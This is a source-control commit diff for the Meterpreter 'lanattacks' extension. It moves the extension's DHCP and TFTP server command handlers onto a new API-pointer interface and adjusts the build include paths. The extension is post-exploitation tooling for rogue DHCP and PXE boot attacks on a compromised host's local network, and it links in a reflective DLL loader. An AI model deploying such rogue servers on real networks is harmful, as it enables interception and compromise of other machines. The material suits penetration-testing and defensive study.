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Update lanattacks to not use delay loading of metsrv

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OJ 2020-04-17 18:33:57 +10:00
parent f7b50df020
commit 8565f9967e
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GPG Key ID: D5DC61FB93260597
2 changed files with 39 additions and 39 deletions
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68
c/meterpreter/source/extensions/lanattacks/lanattacks.c
View File

@ -2,17 +2,16 @@
* This module implements LAN attacks, like pxesploit and DHCP attacks
*/
#define _CRT_SECURE_NO_DEPRECATE 1
#include "../../common/common.h"
#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h"
// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function
// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the
// second stage reflective dll inject payload and not the metsrv itself when it loads extensions.
#include "common.h"
#include "common_metapi.h"
// Required so that use of the API works.
MetApi* met_api = NULL;
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
#include <windows.h>
#include "lanattacks.h"
// this sets the delay load hook function, see DelayLoadMetSrv.h
EnableDelayLoadMetSrv();
void* dhcpserver = NULL; //global DHCP server pointer
void* tftpserver = NULL; //global TFTP server pointer
@ -20,11 +19,11 @@ void* tftpserver = NULL; //global TFTP server pointer
//Launches the DHCP server
DWORD request_lanattacks_start_dhcp(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
Packet *response = met_api->packet.create_response(packet);
int res = startDHCPServer(dhcpserver);
packet_transmit_response(res, remote, response);
met_api->packet.transmit_response(res, remote, response);
return ERROR_SUCCESS;
}
@ -32,12 +31,12 @@ DWORD request_lanattacks_start_dhcp(Remote *remote, Packet *packet)
//Reset the DHCP server
DWORD request_lanattacks_reset_dhcp(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
Packet *response = met_api->packet.create_response(packet);
destroyDHCPServer(dhcpserver);
dhcpserver = createDHCPServer();
packet_transmit_response(ERROR_SUCCESS, remote, response);
met_api->packet.transmit_response(ERROR_SUCCESS, remote, response);
return ERROR_SUCCESS;
}
@ -48,35 +47,35 @@ DWORD request_lanattacks_set_dhcp_option(Remote *remote, Packet *packet)
DWORD retval = ERROR_SUCCESS;
char* name = NULL;
unsigned int namelen = 0;
Packet *response = packet_create_response(packet);
Packet *response = met_api->packet.create_response(packet);
do
{
//Get option value
Tlv tlv;
if ((retval = packet_get_tlv(packet, TLV_TYPE_LANATTACKS_OPTION, &tlv)) != ERROR_SUCCESS)
if ((retval = met_api->packet.get_tlv(packet, TLV_TYPE_LANATTACKS_OPTION, &tlv)) != ERROR_SUCCESS)
{
break;
}
//Get option name
name = packet_get_tlv_value_string(packet, TLV_TYPE_LANATTACKS_OPTION_NAME);
name = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_LANATTACKS_OPTION_NAME);
namelen = (unsigned int)strlen(name);
setDHCPOption(dhcpserver, name, namelen, (char*)tlv.buffer, tlv.header.length);
} while (0);
packet_transmit_response(retval, remote, response);
met_api->packet.transmit_response(retval, remote, response);
return ERROR_SUCCESS;
}
//Turns off the DHCP server
DWORD request_lanattacks_stop_dhcp(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
Packet *response = met_api->packet.create_response(packet);
int res = stopDHCPServer(dhcpserver);
packet_transmit_response(res, remote, response);
met_api->packet.transmit_response(res, remote, response);
return ERROR_SUCCESS;
}
@ -84,13 +83,13 @@ DWORD request_lanattacks_stop_dhcp(Remote *remote, Packet *packet)
//Gets and resets the DHCP log
DWORD request_lanattacks_dhcp_log(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
Packet *response = met_api->packet.create_response(packet);
unsigned long loglen;
unsigned char * log = getDHCPLog(dhcpserver, &loglen);
packet_add_tlv_raw(response, TLV_TYPE_LANATTACKS_RAW, log, loglen);
packet_transmit_response(ERROR_SUCCESS, remote, response);
met_api->packet.add_tlv_raw(response, TLV_TYPE_LANATTACKS_RAW, log, loglen);
met_api->packet.transmit_response(ERROR_SUCCESS, remote, response);
free(log);
return ERROR_SUCCESS;
@ -99,11 +98,11 @@ DWORD request_lanattacks_dhcp_log(Remote *remote, Packet *packet)
//Launches the TFTP server
DWORD request_lanattacks_start_tftp(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
Packet *response = met_api->packet.create_response(packet);
int res = startTFTPServer(tftpserver);
packet_transmit_response(res, remote, response);
met_api->packet.transmit_response(res, remote, response);
return ERROR_SUCCESS;
}
@ -111,12 +110,12 @@ DWORD request_lanattacks_start_tftp(Remote *remote, Packet *packet)
//Reset the TFTP server
DWORD request_lanattacks_reset_tftp(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
Packet *response = met_api->packet.create_response(packet);
destroyTFTPServer(tftpserver);
tftpserver = createTFTPServer();
packet_transmit_response(ERROR_SUCCESS, remote, response);
met_api->packet.transmit_response(ERROR_SUCCESS, remote, response);
return ERROR_SUCCESS;
}
@ -127,34 +126,34 @@ DWORD request_lanattacks_add_tftp_file(Remote *remote, Packet *packet)
DWORD retval = ERROR_SUCCESS;
char* name = NULL;
unsigned int namelen = 0;
Packet *response = packet_create_response(packet);
Packet *response = met_api->packet.create_response(packet);
do{
Tlv tlv;
//Get file contents
if ((retval = packet_get_tlv(packet, TLV_TYPE_LANATTACKS_RAW, &tlv)) != ERROR_SUCCESS)
if ((retval = met_api->packet.get_tlv(packet, TLV_TYPE_LANATTACKS_RAW, &tlv)) != ERROR_SUCCESS)
{
break;
}
//Get file name
name = packet_get_tlv_value_string(packet, TLV_TYPE_LANATTACKS_OPTION_NAME);
name = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_LANATTACKS_OPTION_NAME);
namelen = (unsigned int)strlen(name);
addTFTPFile(tftpserver, name, namelen, (char*)tlv.buffer, tlv.header.length);
} while (0);
packet_transmit_response(retval, remote, response);
met_api->packet.transmit_response(retval, remote, response);
return ERROR_SUCCESS;
}
//Turns off the TFTP server
DWORD request_lanattacks_stop_tftp(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
Packet *response = met_api->packet.create_response(packet);
int res = stopTFTPServer(tftpserver);
packet_transmit_response(res, remote, response);
met_api->packet.transmit_response(res, remote, response);
return ERROR_SUCCESS;
}
@ -175,14 +174,15 @@ Command customCommands[] =
/*!
* @brief Initialize the server extension.
* @param api Pointer to the Meterpreter API structure.
* @param remote Pointer to the remote instance.
* @return Indication of success or failure.
*/
DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote* remote)
{
hMetSrv = remote->met_srv;
met_api = api;
command_register_all(customCommands);
met_api->command.register_all(customCommands);
dhcpserver = createDHCPServer();
tftpserver = createTFTPServer();
@ -208,7 +208,7 @@ DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
destroyDHCPServer(dhcpserver);
dhcpserver = NULL;
command_deregister_all(customCommands);
met_api->command.deregister_all(customCommands);
return ERROR_SUCCESS;
}

8
c/meterpreter/workspace/ext_server_lanattacks/ext_server_lanattacks.vcxproj
View File

@ -84,7 +84,7 @@
<Optimization>MinSpace</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>false</IntrinsicFunctions>
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\lanattacks;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\lanattacks;..\..\source\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
@ -127,7 +127,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
<Optimization>MinSpace</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>false</IntrinsicFunctions>
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\lanattacks;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\lanattacks;..\..\source\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
@ -173,7 +173,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
<Optimization>MinSpace</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>false</IntrinsicFunctions>
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\lanattacks;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\lanattacks;..\..\source\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
@ -223,7 +223,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
<Optimization>MinSpace</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>false</IntrinsicFunctions>
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\lanattacks;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<AdditionalIncludeDirectories>..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\lanattacks;..\..\source\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>